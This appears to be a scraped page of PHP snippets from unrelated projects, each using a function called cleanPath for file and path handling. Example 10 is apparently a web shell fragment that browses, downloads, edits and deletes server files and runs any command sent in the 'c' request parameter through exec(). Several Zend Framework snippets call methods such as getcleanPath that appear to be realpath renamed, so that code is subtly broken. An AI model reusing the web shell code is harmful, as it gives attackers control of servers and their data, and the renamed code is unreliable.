Exemplo n.º 1
0
function lockname($path)
{
    //Replace all '/' with $ for a filename for the lock file
    $ppath = str_replace("/", "\$", cleanPath($path)) . "\$";
    $ppath = str_replace(":", "#", $ppath);
    //Remove double dollar char when exist
    if ($ppath[0] == "\$" and $ppath[1] == "\$") {
        $ppath = substr($ppath, 1);
    }
    return preg_replace('/\\\\/', '$', $ppath);
}
Exemplo n.º 2
0
 /**
  * _getFiles()
  *
  * @return array Array of files to load
  */
 protected function _getFiles()
 {
     require_once PHP_LIBRARY_PATH . 'Zend/Loader.php';
     $paths = Zend_Loader::explodeIncludePath();
     // used for checking similarly named files
     $relativeItems = array();
     $files = array();
     $isZendTraversed = false;
     foreach ($paths as $path) {
         // default patterns to use
         $filterDenyDirectoryPattern = '.*(/|\\\\).svn';
         $filterAcceptFilePattern = '.*(?:Manifest|Provider)\\.php$';
         if (!file_exists($path) || $path[0] == '.') {
             continue;
         }
         $realIncludePath = cleanPath($path);
         // ensure that we only traverse a single version of Zend Framework on all include paths
         if (file_exists($realIncludePath . '/Zend/Tool/Framework/Loader/IncludePathLoader.php')) {
             if ($isZendTraversed === false) {
                 $isZendTraversed = true;
             } else {
                 // use the deny directory pattern that includes the path to 'Zend', it will not be accepted
                 $filterDenyDirectoryPattern = '.*((/|\\\\).svn|' . preg_quote($realIncludePath . DIRECTORY_SEPARATOR) . 'Zend)';
             }
         }
         // create recursive directory iterator
         $rdi = new RecursiveDirectoryIterator($path);
         // pass in the RecursiveDirectoryIterator & the patterns
         $filter = new Zend_Tool_Framework_Loader_IncludePathLoader_RecursiveFilterIterator($rdi, $filterDenyDirectoryPattern, $filterAcceptFilePattern);
         // build the rii with the filter
         $iterator = new RecursiveIteratorIterator($filter);
         // iterate over the accepted items
         foreach ($iterator as $item) {
             $file = (string) $item;
             if ($this->_fileIsBlacklisted($file)) {
                 continue;
             }
             // ensure that the same named file from separate include_paths is not loaded
             $relativeItem = preg_replace('#^' . preg_quote($realIncludePath . DIRECTORY_SEPARATOR, '#') . '#', '', $item->getcleanPath());
             // no links allowed here for now
             if ($item->isLink()) {
                 continue;
             }
             // no items that are relavitely the same are allowed
             if (in_array($relativeItem, $relativeItems)) {
                 continue;
             }
             $relativeItems[] = $relativeItem;
             $files[] = $item->getcleanPath();
         }
     }
     return $files;
 }
Exemplo n.º 3
0
 /**
  * create()
  *
  * @param string $path
  * @param string $nameOfProfile shortName=n
  * @param string $fileOfProfile shortName=f
  */
 public function create($path, $nameOfProfile = null, $fileOfProfile = null)
 {
     if ($path == null) {
         $path = getcwd();
     } else {
         $path = trim($path);
         if (!file_exists($path)) {
             $created = mkdir($path);
             if (!$created) {
                 require_once PHP_LIBRARY_PATH . 'Zend/Tool/Framework/Client/Exception.php';
                 throw new Zend_Tool_Framework_Client_Exception('Could not create requested project directory \'' . $path . '\'');
             }
         }
         $path = str_replace('\\', '/', cleanPath($path));
     }
     $profile = $this->_loadProfile(self::NO_PROFILE_RETURN_FALSE, $path);
     if ($profile !== false) {
         require_once PHP_LIBRARY_PATH . 'Zend/Tool/Framework/Client/Exception.php';
         throw new Zend_Tool_Framework_Client_Exception('A project already exists here');
     }
     $profileData = null;
     if ($fileOfProfile != null && file_exists($fileOfProfile)) {
         $profileData = file_get_contents($fileOfProfile);
     }
     $storage = $this->_registry->getStorage();
     if ($profileData == '' && $nameOfProfile != null && $storage->isEnabled()) {
         $profileData = $storage->get('project/profiles/' . $nameOfProfile . '.xml');
     }
     if ($profileData == '') {
         $profileData = $this->_getDefaultProfile();
     }
     $newProfile = new Zend_Tool_Project_Profile(array('projectDirectory' => $path, 'profileData' => $profileData));
     $newProfile->loadFromData();
     $response = $this->_registry->getResponse();
     $response->appendContent('Creating project at ' . $path);
     $response->appendContent('Note: ', array('separator' => false, 'color' => 'yellow'));
     $response->appendContent('This command created a web project, ' . 'for more information setting up your VHOST, please see docs/README');
     if (!Zend_Tool_Project_Provider_Test::isPHPUnitAvailable()) {
         $response->appendContent('Testing Note: ', array('separator' => false, 'color' => 'yellow'));
         $response->appendContent('PHPUnit was not found in your include_path, therefore no testing actions will be created.');
     }
     foreach ($newProfile->getIterator() as $resource) {
         $resource->create();
     }
 }
Exemplo n.º 4
0
function search_lib($lib, $file, $ds = '/')
{
    // Verifica se o diretório informado é válido
    global $autoloadlog;
    if (is_array($lib)) {
        foreach ($lib as $dir) {
            if ($f = search_lib($dir, $file, $ds)) {
                return $f;
                break;
            }
        }
        return FALSE;
    }
    if (is_dir($lib)) {
        $path = isset($path) ? $path : "";
        $path = cleanPath($lib, $path, $ds);
        $autoloadlog .= 'Lib: ' . (is_array($lib) ? implode(', ', $lib) : $lib) . PHP_EOL . 'File: ' . $file . PHP_EOL . PHP_EOL . 'Path: ' . $path . PHP_EOL . PHP_EOL . (file_exists($path) ? 'EXISTS!' : 'NOT Exists!') . PHP_EOL . PHP_EOL . str_repeat('-', 200) . PHP_EOL . PHP_EOL;
        // Verifica se o arquivo já existe neste primeiro diretório
        if (file_exists($path)) {
            return $path;
        }
        // Lista os subdiretórios e arquivos
        $dirs = array_diff(scandir($lib, 1), ['.', '..']);
        foreach ($dirs as $dir) {
            // Verifica se é um arquivo se for, pula para o próximo
            if (!is_dir($lib . $ds . $dir)) {
                continue;
            }
            // Se for um diretório procura dentro dele
            $f = search_lib($lib . $ds . $dir, $file, $ds);
            // Caso não encontre retora FALSE
            if ($f !== FALSE) {
                return $f;
            }
        }
    } else {
        $autoloadlog .= 'Lib "' . $lib . '" is not a dir.' . PHP_EOL . PHP_EOL;
    }
    // Se o diretório informado não for válido ou se não tiver encontrado retorna FALSE
    return FALSE;
}
Exemplo n.º 5
0
function pfc_RelativePath($p1, $p2)
{
    if (is_file($p1)) {
        $p1 = dirname($p1);
    }
    if (is_file($p2)) {
        $p2 = dirname($p2);
    }
    // using realpath function is necessary to resolve symbolic links
    $p1 = realpath(cleanPath($p1));
    $p2 = realpath(cleanPath($p2));
    $res = "";
    // echo $p1."<br>";
    // echo $p2."<br>";
    while ($p1 != "" && $p1 != "/" && !preg_match("/^[a-z]\\:\\\$/i", $p1) && strpos($p2, $p1) !== 0) {
        $res .= "../";
        $p1 = dirname($p1);
    }
    if (isset($_SERVER["WINDIR"]) || isset($_SERVER["windir"])) {
        $p2 = str_replace("\\", "/", substr($p2, strlen($p1) + 1, strlen($p2) - strlen($p1)));
    } else {
        if ($p1 === "/" || $p1 === "") {
            $p2 = substr($p2, strlen($p1));
        } else {
            $p2 = substr($p2, strlen($p1) + 1);
        }
    }
    $res .= $p2;
    // remove the last "/"
    if (preg_match("/.*\\/\$/", $res)) {
        $res = preg_replace("/(.*)\\//", "\$1", $res);
    }
    // if rootpath is empty replace it by "." to avoide url starting with "/"
    if ($res == "") {
        $res = ".";
    }
    //  echo $res."<br>";
    return $res;
}
Exemplo n.º 6
0
function cleanup($file)
{
    global $hotdir, $INP, $NPDF, $ORIG_ERR, $ORIG_OK, $PROC_ERR, $PROC_OK, $NPDF_ERR, $REP_ERR, $REP_OK;
    $file_log = "{$file}_log.pdf";
    // PitStop names reports like this
    @unlink(cleanPath("{$hotdir}/{$INP}/{$file}"));
    @unlink(cleanPath("{$hotdir}/{$NPDF}/{$file}"));
    @unlink(cleanPath("{$hotdir}/{$ORIG_ERR}/{$file}"));
    @unlink(cleanPath("{$hotdir}/{$ORIG_OK}/{$file}"));
    @unlink(cleanPath("{$hotdir}/{$PROC_ERR}/{$file}"));
    @unlink(cleanPath("{$hotdir}/{$PROC_OK}/{$file}"));
    @unlink(cleanPath("{$hotdir}/{$NPDF_ERR}/{$file_log}"));
    @unlink(cleanPath("{$hotdir}/{$REP_ERR}/{$file_log}"));
    @unlink(cleanPath("{$hotdir}/{$REP_OK}/{$file_log}"));
}
Exemplo n.º 7
0
 /**
  * Verify path exists and is non-empty
  *
  * @param  string $path
  * @return bool
  */
 protected function _verifyPath($path)
 {
     $path = cleanPath($path);
     $base = cleanPath($this->_options['public_dir']);
     return strncmp($path, $base, strlen($base)) !== 0;
 }
Exemplo n.º 8
0
function installerInit()
{
    sessionInit();
    //handle streamed content first
    if (isset($_SERVER['PATH_INFO'])) {
        $path_bits = preg_split('/\\//', $_SERVER['PATH_INFO']);
        $path_bits = cleanPath($path_bits);
        if (count($path_bits) == 3) {
            if ($path_bits[0] == "stream") {
                streamContent($path_bits[2], $path_bits[1]);
            }
        } else {
            redirectSelf();
        }
    }
    $result = array();
    if (installerStep() !== STEP_DONE && getLock()) {
        installerStepSet(STEP_DONE);
        redirectSelf();
    }
    $is_redirect = FALSE;
    if (isset($_GET['restart'])) {
        session_destroy();
        redirectSelf();
    }
    if (isset($_GET['next'])) {
        transitionNextStep();
    }
    if (isset($_GET['prev'])) {
        installerStepSet(prevStep(installerStep()));
    }
    if (dbEnabled()) {
        $result['with_db'] = TRUE;
    } else {
        $result['with_db'] = FALSE;
    }
    $result['step'] = installerStep();
    return $result;
}
Exemplo n.º 9
0
 } elseif ($szHayPol && $szHayLin && !$szHayPto) {
     $aSzFiles = array($szFileNamePol . ".shp", $szFileNamePol . ".shx", $szFileNamePol . ".dbf", $szFileNameLin . ".shp", $szFileNameLin . ".shx", $szFileNameLin . ".dbf");
 } elseif ($szHayPol && !$szHayLin && $szHayPto) {
     $aSzFiles = array($szFileNamePol . ".shp", $szFileNamePol . ".shx", $szFileNamePol . ".dbf", $szFileNamePto . ".shp", $szFileNamePto . ".shx", $szFileNamePto . ".dbf");
 } elseif (!$szHayPol && $szHayLin && $szHayPto) {
     $aSzFiles = array($szFileNameLin . ".shp", $szFileNameLin . ".shx", $szFileNameLin . ".dbf", $szFileNamePto . ".shp", $szFileNamePto . ".shx", $szFileNamePto . ".dbf");
 } elseif ($szHayPol && !$szHayLin && !$szHayPto) {
     $aSzFiles = array($szFileNamePol . ".shp", $szFileNamePol . ".shx", $szFileNamePol . ".dbf");
 } elseif (!$szHayPol && $szHayLin && !$szHayPto) {
     $aSzFiles = array($szFileNameLin . ".shp", $szFileNameLin . ".shx", $szFileNameLin . ".dbf");
 } elseif (!$szHayPol && !$szHayLin && $szHayPto) {
     $aSzFiles = array($szFileNamePto . ".shp", $szFileNamePto . ".shx", $szFileNamePto . ".dbf");
 }
 // create the temp download directory
 $szDownloadPath = cleanPath($_SESSION["gszTmpImgPath"]);
 $szDownloadUrl = cleanPath($_SESSION["gszTmpWebPath"]);
 $szUniqid = md5(uniqid(rand(), true));
 // check if directory exists
 if (!is_dir($szDownloadPath . $szUniqid . "/")) {
     @mkdir($szDownloadPath . $szUniqid . "/", 0777);
 }
 // check for failure
 if (!is_dir($szDownloadPath . $szUniqid . "/")) {
     // set flag
     $bSkipExtract = true;
     // set error message
     $szErrorNotice .= $oMLT->get("17", "Error al crear directorio temporal de bajada.");
 } else {
     // set flag
     $bSkipExtract = false;
     // update paths
Exemplo n.º 10
0
            }
        }
        echo "<a href='?d={$d}{$slash}.'><font color=grey>.\n</font></a>";
        echo "<a href='?d={$d}{$slash}..'><font color=grey>..\n</font></a>";
        //Some configurations throw a notice if is_array is tried with a non-existant variable
        if (isset($dirList)) {
            if (is_array($dirList)) {
                foreach ($dirList as $dir) {
                    echo "<a href='?d={$d}{$slash}{$dir}'><font color=grey>{$dir}\n</font></a>";
                }
            }
        }
        if (isset($fileList)) {
            if (is_array($fileList)) {
                foreach ($fileList as $dir) {
                    echo "<a href='?f={$d}" . $slash . $dir['dir'] . "'><font color=" . $dir['color'] . ">" . $dir['dir'] . "</font></a>" . "|<a href='?dl=" . cleanPath($d, $isLinux) . '&file=' . $dir["dir"] . "' target='_blank'>Download</a>|" . "|<a href='?ef=" . cleanPath($d, $isLinux) . '&file=' . $dir["dir"] . "' target='_blank'>Edit</a>|" . "|<a href='?df=" . cleanPath($d, $isLinux) . '&file=' . $dir["dir"] . "' target='_blank'>Delete</a>| \n";
                }
            }
        }
    } else {
        echo "opendir() failed";
    }
    closedir($handle);
} elseif (isset($_REQUEST['c'])) {
    if (@ini_get('safe_mode')) {
        echo 'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programms in safe_mod_exec_dir (' . @ini_get('safe_mode_exec_dir') . ') <br />';
    }
    echo "<b>Command: <I>" . $_REQUEST['c'] . "</I></b><br /><br />";
    trim(exec($_REQUEST['c'], $return));
    foreach ($return as $val) {
        echo '<pre>' . htmlentities($val) . '</pre>';
Exemplo n.º 11
0
        case 'admin':
            return 127;
        case 'guest':
            return 1;
        case 'disabled':
            return 0;
        case 'none':
        case 'normal':
        default:
            return 2;
    }
}
//====================
// Log in
//====================
$d = isset($_GET['d']) ? cleanPath($_GET['d']) : false;
// $d is replaced after login.
$status = '';
$time = time();
if ($_POST['logout']) {
    setcookie('fmsid', '', time() - 86400);
    $_PERSIST['users'][$uid]['sid'] = '';
    persist_update('_PERSIST', 'ftpusers.inc.php');
    $status = 'lo';
} else {
    if ($_POST['login'] && $_POST['server']) {
        $status = 'nli';
        if (!intval($_POST['port'])) {
            $_POST['port'] = 21;
        }
        $ftp = @ftp_connect($_POST['server'], intval($_POST['port']));
Exemplo n.º 12
0
    // emit the HTML
    echo "<table align=\"center\" border=\"0\" cellspacing=\"" . VIEWER_SPACING . "\" cellpadding=\"" . VIEWER_PADDING . "\" width=\"100%\" height=\"100%\">\n";
    echo "  <tr>\n";
    echo "    <td class=\"none\" align=\"center\" valign=\"middle\" width=\"100%\" height=\"100%\">\n";
    echo "      " . TEXT_SELECT . "\n";
    echo "    </td>\n";
    echo "  </tr>\n";
    echo "</table>\n";
}
// process GET/POST parameters
$file = "";
if (isset($HTTP_GET_VARS["file"])) {
    $file = urldecode($HTTP_GET_VARS["file"]);
}
// parse and clean the File
cleanPath($file);
?>
<body leftmargin=0 topmargin=0 marginwidth=0 marginheight=0>
<?php 
// generate the Preview
imageTag($base);
?>
<script language="javascript">
var src = '<?php 
echo strlen($file) > 0 ? imageURL($file, TRUE) : "";
?>
';

if(src.length > 0) {
   var manager = findAncestor(window.frameElement, '<?php 
echo MANAGER_NAME;
Exemplo n.º 13
0
function excluiDiretorio($diretorio)
{
    $diretorio = cleanPath($diretorio);
    if (is_dir($diretorio)) {
        excluiConteudo($diretorio);
        @rmdir($diretorio);
    }
}
Exemplo n.º 14
0
if (!file_exists($users) && !file_exists($projects) && !file_exists($active)) {
    //////////////////////////////////////////////////////////////////
    // Get POST responses
    //////////////////////////////////////////////////////////////////
    $username = cleanUsername("default");
    $password = encryptPassword("default");
    //////////////////////////////////////////////////////////////////
    // Create Projects files
    //////////////////////////////////////////////////////////////////
    $project_path = 'cloud-project';
    $project_name = 'Cloud Project';
    if (!isAbsPath($project_path)) {
        $project_path = str_replace(" ", "_", preg_replace('/[^\\w-\\.]/', '', $project_path));
        mkdir($workspace . "/" . $project_path);
    } else {
        $project_path = cleanPath($project_path);
        if (substr($project_path, -1) == '/') {
            $project_path = substr($project_path, 0, strlen($project_path) - 1);
        }
        if (!file_exists($project_path)) {
            if (!mkdir($project_path . '/', 0755, true)) {
                die("Unable to create Absolute Path");
            }
        } else {
            if (!is_writable($project_path) || !is_readable($project_path)) {
                die("No Read/Write Permission");
            }
        }
    }
    $project_data = array("name" => $project_name, "path" => $project_path);
    saveJSON($projects, array($project_data));
Exemplo n.º 15
0
function hadFileRight($_allowPath, $_path)
{
    $path = cleanPath($_path);
    foreach ($_allowPath as $right) {
        if (strpos($right, '/') !== false || strpos($right, '\\') !== false) {
            if (strpos($right, '/') !== 0 || strpos($right, '\\') !== 0) {
                $right = getRootPath() . '/' . $right;
            }
            if (dirname($path) == $right || $path == $right) {
                return true;
            }
        } else {
            if (basename(dirname($path)) == $right || basename($path) == $right) {
                return true;
            }
        }
    }
    return false;
}
Exemplo n.º 16
0
 /**
  * Add translations
  *
  * This may be a new language or additional content for an existing language
  * If the key 'clear' is true, then translations for the specified
  * language will be replaced and added otherwise
  *
  * @param  array|Zend_Config $options Options and translations to be added
  * @throws Zend_Translate_Exception
  * @return Zend_Translate_Adapter Provides fluent interface
  */
 public function addTranslation($options = array())
 {
     if ($options instanceof Zend_Config) {
         $options = $options->toArray();
     } else {
         if (func_num_args() > 1) {
             $args = func_get_args();
             $options = array();
             $options['content'] = array_shift($args);
             if (!empty($args)) {
                 $options['locale'] = array_shift($args);
             }
             if (!empty($args)) {
                 $opt = array_shift($args);
                 $options = array_merge($opt, $options);
             }
         } else {
             if (!is_array($options)) {
                 $options = array('content' => $options);
             }
         }
     }
     if (!isset($options['content']) || empty($options['content'])) {
         require_once PHP_LIBRARY_PATH . 'Zend/Translate/Exception.php';
         throw new Zend_Translate_Exception("Required option 'content' is missing");
     }
     $originate = null;
     if (!empty($options['locale'])) {
         $originate = (string) $options['locale'];
     }
     if (array_key_exists('log', $options) && !$options['log'] instanceof Zend_Log) {
         require_once PHP_LIBRARY_PATH . 'Zend/Translate/Exception.php';
         throw new Zend_Translate_Exception('Instance of Zend_Log expected for option log');
     }
     try {
         if (!$options['content'] instanceof Zend_Translate && !$options['content'] instanceof Zend_Translate_Adapter) {
             if (empty($options['locale'])) {
                 $options['locale'] = null;
             }
             $options['locale'] = Zend_Locale::findLocale($options['locale']);
         }
     } catch (Zend_Locale_Exception $e) {
         require_once PHP_LIBRARY_PATH . 'Zend/Translate/Exception.php';
         throw new Zend_Translate_Exception("The given Language '{$options['locale']}' does not exist", 0, $e);
     }
     $options = $options + $this->_options;
     if (is_string($options['content']) and is_dir($options['content'])) {
         $options['content'] = cleanPath($options['content']);
         $prev = '';
         $iterator = new RecursiveIteratorIterator(new RecursiveRegexIterator(new RecursiveDirectoryIterator($options['content'], RecursiveDirectoryIterator::KEY_AS_PATHNAME), '/^(?!.*(\\.svn|\\.cvs)).*$/', RecursiveRegexIterator::MATCH), RecursiveIteratorIterator::SELF_FIRST);
         foreach ($iterator as $directory => $info) {
             $file = $info->getFilename();
             if (is_array($options['ignore'])) {
                 foreach ($options['ignore'] as $key => $ignore) {
                     if (strpos($key, 'regex') !== false) {
                         if (preg_match($ignore, $directory)) {
                             // ignore files matching the given regex from option 'ignore' and all files below
                             continue 2;
                         }
                     } else {
                         if (strpos($directory, DIRECTORY_SEPARATOR . $ignore) !== false) {
                             // ignore files matching first characters from option 'ignore' and all files below
                             continue 2;
                         }
                     }
                 }
             } else {
                 if (strpos($directory, DIRECTORY_SEPARATOR . $options['ignore']) !== false) {
                     // ignore files matching first characters from option 'ignore' and all files below
                     continue;
                 }
             }
             if ($info->isDir()) {
                 // pathname as locale
                 if ($options['scan'] === self::LOCALE_DIRECTORY and Zend_Locale::isLocale($file, true, false)) {
                     $options['locale'] = $file;
                     $prev = (string) $options['locale'];
                 }
             } else {
                 if ($info->isFile()) {
                     // filename as locale
                     if ($options['scan'] === self::LOCALE_FILENAME) {
                         $filename = explode('.', $file);
                         array_pop($filename);
                         $filename = implode('.', $filename);
                         if (Zend_Locale::isLocale((string) $filename, true, false)) {
                             $options['locale'] = (string) $filename;
                         } else {
                             $parts = explode('.', $file);
                             $parts2 = array();
                             foreach ($parts as $token) {
                                 $parts2 += explode('_', $token);
                             }
                             $parts = array_merge($parts, $parts2);
                             $parts2 = array();
                             foreach ($parts as $token) {
                                 $parts2 += explode('-', $token);
                             }
                             $parts = array_merge($parts, $parts2);
                             $parts = array_unique($parts);
                             $prev = '';
                             foreach ($parts as $token) {
                                 if (Zend_Locale::isLocale($token, true, false)) {
                                     if (strlen($prev) <= strlen($token)) {
                                         $options['locale'] = $token;
                                         $prev = $token;
                                     }
                                 }
                             }
                         }
                     }
                     try {
                         $options['content'] = $info->getPathname();
                         $this->_addTranslationData($options);
                     } catch (Zend_Translate_Exception $e) {
                         // ignore failed sources while scanning
                     }
                 }
             }
         }
         unset($iterator);
     } else {
         $this->_addTranslationData($options);
     }
     if (isset($this->_translate[$originate]) === true and count($this->_translate[$originate]) > 0) {
         $this->setLocale($originate);
     }
     return $this;
 }
Exemplo n.º 17
0
}
// Check GET data
$file = urldecode($_GET['f']);
$pw = urldecode($_GET['p']);
$lang = $_GET['l'] == 'de' ? 'de' : 'en';
// Check referer
if ($config['root_url'] != substr($_SERVER['HTTP_REFERER'], 0, strlen($config['root_url']))) {
    header('HTTP/1.1 403 Forbidden');
    echo $lang == 'de' ? 'Zugriff verweigert' : 'Access denied';
    exit;
}
// Check ending
$ending = true;
$ending = preg_match('/^(.*)\\.(.*?)$/', $file, $tmp) ? strtolower($tmp[2]) : false;
// Check and build path
$path = $config['uploads_path'] . DIRECTORY_SEPARATOR . cleanPath($file);
if (!is_file($path) || !$ending) {
    header('HTTP/1.0 404 Not Found');
    header('Refresh:3;url=' . $_SERVER['HTTP_REFERER']);
    echo $lang == 'de' ? 'Datei nicht gefunden' : 'File not found';
    exit;
}
// Get filename
$temp = explode('/', $file);
$filename = str_replace('"', '', array_pop($temp));
// Get blank path
$temp = $config['uploads_path'] . DIRECTORY_SEPARATOR . implode('/', $temp) . DIRECTORY_SEPARATOR;
// Check password
if (is_file($temp . '.htpasswd')) {
    $check = substr(phpversion(), 0, 3) < 4.3 ? substr(implode('', file($temp . '.htpasswd')), 9) : substr(file_get_contents($temp . '.htpasswd'), 9);
    if (crypt($pw, $check) != $check) {
Exemplo n.º 18
0
 /**
  * Show / Edit a file in the ajaxy editor..
  *
  */
 public static function ext_view()
 {
     global $PIVOTX;
     $PIVOTX['session']->minLevel(PIVOTX_UL_ADMIN);
     // TODO: Check if the file is writable before showing the editor.
     if (empty($_GET['basedir'])) {
         die('Basedir is empty.');
     } else {
         $basedir = cleanPath(base64_decode($_GET['basedir']));
     }
     // Don't allow opening files outside $PIVOTX['paths']['home_path'].
     // This is consistent with the file explorer functions in pages.php.
     if (strpos($basedir, $PIVOTX['paths']['home_path']) === 0) {
         $filename = cleanPath($basedir . $_GET['file']);
     } else {
         die('Basedir outside home_path. Hacking attempt?');
     }
     if ($contents = loadSerialize($filename)) {
         // Get the output in a buffer..
         ob_start();
         print_r($contents);
         $contents = ob_get_contents();
         ob_end_clean();
         echo "<pre>\n";
         echo htmlentities($contents, ENT_QUOTES, "UTF-8");
         echo "</pre>\n";
     } else {
         $extension = getExtension($filename);
         $contents = implode("", file($filename));
         $contents = preg_replace('/<textarea/i', '<*textarea', $contents);
         $contents = preg_replace('/<\\/textarea/i', '<*/textarea', $contents);
         echo "<form id='editor' class='formclass' method='post' action='' style='border: 0px;'>";
         echo "<input type='hidden' value='" . $_GET['basedir'] . "' id='editBasedir'>";
         echo "<input type='hidden' value='" . $_GET['file'] . "' id='editFile'>";
         echo "<textarea style='width: 759px; border: 1px inset #999; height: 380px;' id='editContents' name='editContents' class='Editor' >";
         echo htmlentities($contents, ENT_QUOTES, 'UTF-8');
         echo "</textarea>";
         if (in_array($extension, array('html', 'htm', 'tpl', 'xml', 'css'))) {
             echo '<script language="javascript" type="text/javascript">' . "\n";
             echo 'jQuery(function($) {' . "\n";
             echo '  $("#editContents").markItUp(markituphtml);' . "\n";
             echo '});' . "\n";
             echo '</script>' . "\n";
         } else {
             echo '<script language="javascript" type="text/javascript">' . "\n";
             echo 'jQuery(function($) {' . "\n";
             echo '  $("#editContents").css("height", "384px");' . "\n";
             echo '});' . "\n";
             echo '</script>' . "\n";
         }
         printf('<p class="buttons" style="margin: 0 0 6px 0; clear: both;"><a href="#" onclick="saveEdit();"><img src="pics/accept.png" alt="" />%s</a>', __('Save'));
         printf('<a href="#" onclick="saveEditAndContinue();"><img src="pics/accept.png" alt="" />%s</a>', __('Save and continue editing'));
         printf('<a href="#" onclick="closeEdit();" class="negative" style="margin-left: 20px;"><img src="pics/delete.png" alt="" />%s</a></p>', __('Cancel'));
         if ($PIVOTX['config']->get('smarty_cache') || $PIVOTX['config']->get('minify_frontend')) {
             $msg = __("You have Caching and/or Minify enabled. If your changes do not show up immediately, %click here% and disable Caching and Minify while you're working on your site.");
             $msg = preg_replace('/%(.*)%/i', "<a href='index.php?page=configuration#section-1'>\\1</a>", $msg);
             echo "\n\n<p class='small' style='width: 500px;clear: both;'>" . $msg . "</p>\n";
         }
         echo "</form>";
     }
 }
Exemplo n.º 19
0
function fm_iswritable($source)
{
    if (startsWith(cleanPath($source), str_repeat('../', 1 + substr_count($GLOBALS['ftp_prepath'], '/')))) {
        return FALSE;
    }
    //$fileinfo = fm_fileinfo($source);
    //return (intval(substr(@($fileinfo['perms']),0,1))&2)?TRUE:FALSE;
    return true;
}
Exemplo n.º 20
0
 /**
  * _getZfPath()
  *
  * @return string|false
  */
 protected function _getZfPath()
 {
     require_once PHP_LIBRARY_PATH . 'Zend/Loader.php';
     foreach (Zend_Loader::explodeIncludePath() as $includePath) {
         if (!file_exists($includePath) || $includePath[0] == '.') {
             continue;
         }
         if (cleanPath($checkedPath = rtrim($includePath, '\\/') . '/Zend/Loader.php') !== false && file_exists($checkedPath)) {
             return dirname($checkedPath);
         }
     }
     return false;
 }
Exemplo n.º 21
0
function getUrls($url, $string)
{
    $type = "href";
    # Regex to chop out urls
    preg_match_all("|{$type}\\=\"?'?`?([[:alnum:]:?=&@/._-]+)\"?'?`?|i", $string, $matches);
    $ret[$type] = $matches[1];
    # Make all URLS literal (full path)
    for ($i = 0; $i < count($ret['href']); $i++) {
        if (!preg_match('/^(http|https):\\/\\//i', $ret['href'][$i])) {
            $ret['href'][$i] = getPath($url) . "/" . $ret['href'][$i];
        }
        $ret['href'][$i] = cleanPath($ret['href'][$i]);
    }
    return $ret;
}
Exemplo n.º 22
0
/**
* rawurlencode() a file's path but keep the slashes.
*/
function urlPath($path)
{
    $decoded = rawurldecode($path);
    // Decode if encoded
    $cleaned = cleanPath($decoded);
    $encoded = rawurlencode($cleaned);
    // Encode
    $encoded_path = str_replace('%2F', '/', $encoded);
    // replace slashes
    return $encoded_path;
}
Exemplo n.º 23
0
 /**
  * Find cleanPath of file based on include_path
  *
  * @param  string $fileName
  * @return string
  */
 public static function findcleanPathInIncludePath($fileName)
 {
     require_once PHP_LIBRARY_PATH . 'Zend/Loader.php';
     $includePaths = Zend_Loader::explodeIncludePath();
     while (count($includePaths) > 0) {
         $filePath = array_shift($includePaths) . DIRECTORY_SEPARATOR . $fileName;
         if (($foundcleanPath = cleanPath($filePath)) !== false) {
             break;
         }
     }
     return $foundcleanPath;
 }
Exemplo n.º 24
0
// Remove old files
$maxFileAge = 60 * 60;
// Temp file age in seconds
switch ($_GET['type']) {
    case 'image':
    case 'images':
    case 'file':
    case 'files':
        $targetDir = makeUploadFolder();
        $cleanupTargetDir = false;
        break;
}
if (isset($_GET['path']) && $_GET['path'] != '') {
    /* Using same user level as in fileOperations (in lib.php) */
    $PIVOTX['session']->minLevel(PIVOTX_UL_ADVANCED);
    $path = cleanPath($_GET['path']);
    // Don't ever allow uploading outside the images, templates and db folders.
    if (!uploadAllowed($path)) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 104, "message": "Uploading to illegal directory."}, "id" : "id"}');
    }
    $targetDir = stripTrailingSlash($path);
    $cleanupTargetDir = false;
}
// 5 minutes execution time
@set_time_limit(5 * 60);
// usleep(5000);
// Get parameters
$chunk = isset($_REQUEST["chunk"]) ? $_REQUEST["chunk"] : 0;
$chunks = isset($_REQUEST["chunks"]) ? $_REQUEST["chunks"] : 0;
$fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : '';
if ($fileName == '' && isset($_FILES['file']['name'])) {
Exemplo n.º 25
0
 /**
  * fromReflectedFileName() - use this if you intend on generating code generation objects based on the same file.
  * This will keep previous changes to the file in tact during the same PHP process
  *
  * @param string $filePath
  * @param bool $usePreviousCodeGeneratorIfItExists
  * @param bool $includeIfNotAlreadyIncluded
  * @return Zend_CodeGenerator_Php_File
  */
 public static function fromReflectedFileName($filePath, $usePreviousCodeGeneratorIfItExists = true, $includeIfNotAlreadyIncluded = true)
 {
     $cleanPath = cleanPath($filePath);
     if ($cleanPath === false) {
         if (($cleanPath = Zend_Reflection_file::findcleanPathInIncludePath($filePath)) === false) {
             require_once PHP_LIBRARY_PATH . 'Zend/CodeGenerator/Php/Exception.php';
             throw new Zend_CodeGenerator_Php_Exception('No file for ' . $cleanPath . ' was found.');
         }
     }
     if ($usePreviousCodeGeneratorIfItExists && isset(self::$_fileCodeGenerators[$cleanPath])) {
         return self::$_fileCodeGenerators[$cleanPath];
     }
     if ($includeIfNotAlreadyIncluded && !in_array($cleanPath, get_included_files())) {
         include $cleanPath;
     }
     $codeGenerator = self::fromReflection($fileReflector = new Zend_Reflection_File($cleanPath));
     if (!isset(self::$_fileCodeGenerators[$fileReflector->getFileName()])) {
         self::$_fileCodeGenerators[$fileReflector->getFileName()] = $codeGenerator;
     }
     return $codeGenerator;
 }
Exemplo n.º 26
0
 /**
  * constructor
  *
  * @param array $options Associative array of options
  */
 public function __construct(array $options = array())
 {
     $this->_credential = new Zend_Service_DeveloperGarden_Credential();
     while (list($name, $value) = each($options)) {
         switch (ucfirst($name)) {
             case 'Username':
                 $this->_credential->setUsername($value);
                 break;
             case 'Password':
                 $this->_credential->setPassword($value);
                 break;
             case 'Realm':
                 $this->_credential->setRealm($value);
                 break;
             case 'Environment':
                 $this->setEnvironment($value);
         }
     }
     if (empty($this->_wsdlFile)) {
         require_once PHP_LIBRARY_PATH . 'Zend/Service/DeveloperGarden/Exception.php';
         throw new Zend_Service_DeveloperGarden_Exception('_wsdlFile not set for this service.');
     }
     if (!empty($this->_wsdlFileLocal)) {
         $this->_wsdlFileLocal = cleanPath(dirname(__FILE__) . '/../' . $this->_wsdlFileLocal);
     }
     if (empty($this->_wsdlFileLocal) || $this->_wsdlFileLocal === false) {
         require_once PHP_LIBRARY_PATH . 'Zend/Service/DeveloperGarden/Exception.php';
         throw new Zend_Service_DeveloperGarden_Exception('_wsdlFileLocal not set for this service.');
     }
 }
Exemplo n.º 27
0
